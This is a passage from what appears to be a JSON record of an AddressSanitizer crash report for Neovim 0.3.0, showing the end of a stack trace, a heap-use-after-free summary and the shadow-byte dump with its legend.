/home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:2238:5\n    #8 0x7e584e in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:602:20\n    #9 0x7db169 in do_source /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:2973:3\n    #10 0x7d9348 in cmd_source /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:2718:14\n    #11 0x7d93c0 in ex_source /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:2699:3\n    #12 0x7f7008 in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:2238:5\n    #13 0x7e584e in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:602:20\n    #14 0x7e91f3 in do_cmdline_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:278:10\n    #15 0x97c7a7 in exe_commands /home/zzw/Desktop/neovim/build/../src/nvim/main.c:1664:5\n    #16 0x974315 in main /home/zzw/Desktop/neovim/build/../src/nvim/main.c:515:5\n    #17 0x7fd3b8c82082 in __libc_start_main /build/glibc-B3wQXB/glibc-2.31/csu/../csu/libc-start.c:308:16\n\nSUMMARY: AddressSanitizer: heap-use-after-free (/home/zzw/Desktop/EXE/nvim_exe/nvim-0.3.0-ASAN+0x4c68e9) in __asan_memcpy\nShadow bytes around the buggy address:\n  0x0c4a7fff9020: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd\n  0x0c4a7fff9030: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd\n  0x0c4a7fff9040: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd\n  0x0c4a7fff9050: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd\n  0x0c4a7fff9060: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd\n=>0x0c4a7fff9070: fd fd fd fd[fd]fd fd fd fd fd fd fd fd fd fd fd\n  0x0c4a7fff9080: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd\n  0x0c4a7fff9090: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd\n  0x0c4a7fff90a0: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd\n  0x0c4a7fff90b0: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd\n  0x0c4a7fff90c0: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd\nShadow byte legend (one shadow byte represents 8 application bytes):\n  Addressable:           00\n  Partially addressable: 01 02 03 04 05 06 07 \n  Heap left redzone:       fa\n  Freed heap region:       fd\n  Stack left redzone:      f1\n  Stack mid redzone:       f2\n  Stack right redzone:     f3\n  Stack after return:      f5\n  Stack use after scope:   f8\n  Global redzone:          f9\n  Global init order:       f6\n  Poisoned by user:        f7\n  Container overflow:      fc\n  Array cookie:            ac\n  Intra object redzone:    bb\n  ASan internal:           fe\n  Left alloca redzone:     ca\n  Right alloca redzone:    cb\n  Shadow gap:              cc\n==53790==ABORTING", "creation_timestamp": "2026-09-20T09:55:04.659948Z"}